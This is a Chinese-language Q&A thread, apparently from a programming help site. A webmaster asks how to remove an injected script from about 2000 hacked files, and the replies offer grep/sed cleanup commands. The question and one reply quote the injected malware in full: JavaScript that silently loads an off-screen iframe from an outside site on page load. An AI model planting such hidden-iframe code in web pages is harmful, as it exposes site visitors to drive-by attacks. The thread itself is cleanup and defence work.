2

昨天我的网站被黑了,它的代码如下:

<script>  
    function frmAdd() { 
        var ifrm = document.createElement('iframe'); 
        ifrm.style.position='absolute'; 
        ifrm.style.top='-999em'; 
        ifrm.style.left='-999em'; 
        ifrm.src = \"http://fenwaywest.com/media/index.php\";
        ifrm.id = 'frmId';
        document.body.appendChild(ifrm);
    };
    window.onload = frmAdd;
</script>";

当我使用以下命令搜索服务器以查找受影响的文件时

grep -r "<script>  function frmAdd()" /path/

我有2000多个文件。

现在我只需要删除该行。拜托,有人可以指导该命令仅删除所有 2000 个文件中的该行吗?

4

3 回答 3

2

先备份!然后,你可以尝试这样的事情:

grep -lr " function frmAdd" /path/ | xargs sed -i '/ function frmAdd/d'

这将删除与该正则表达式匹配的任何行。它还假设路径不包含空格(希望这里是一个合理的假设)。

于 2012-10-10T13:10:58.810 回答
0

在打印用户数据时尝试使用 CakePHP sanitize Class:

echo Sanitize::html($badString);
于 2012-10-10T19:37:17.883 回答
0

你有没有清除病毒?因为我感染了同样的病毒。我的网站在 joomla。

编辑:

我使用代码:

grep -lr " function frmAdd" public_html | xargs sed -i '/ function frmAdd/d'

但如果你有这样的东西

    <html><body bgcolor="#FFFFFF"><!--ef09d2--><script>  function frmAdd() { var ifrm = document.createElement('iframe'); ifrm.style.position='absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em'; ifrm.src = "http://fenwaywest.com/media/index.php";ifrm.id = 'frmId';document.body.appendChild(ifrm);};window.onload = frmAdd;</script><!--/ef09d2-->
</body></html>

这只会返回</body></html>

于 2012-10-11T07:12:29.537 回答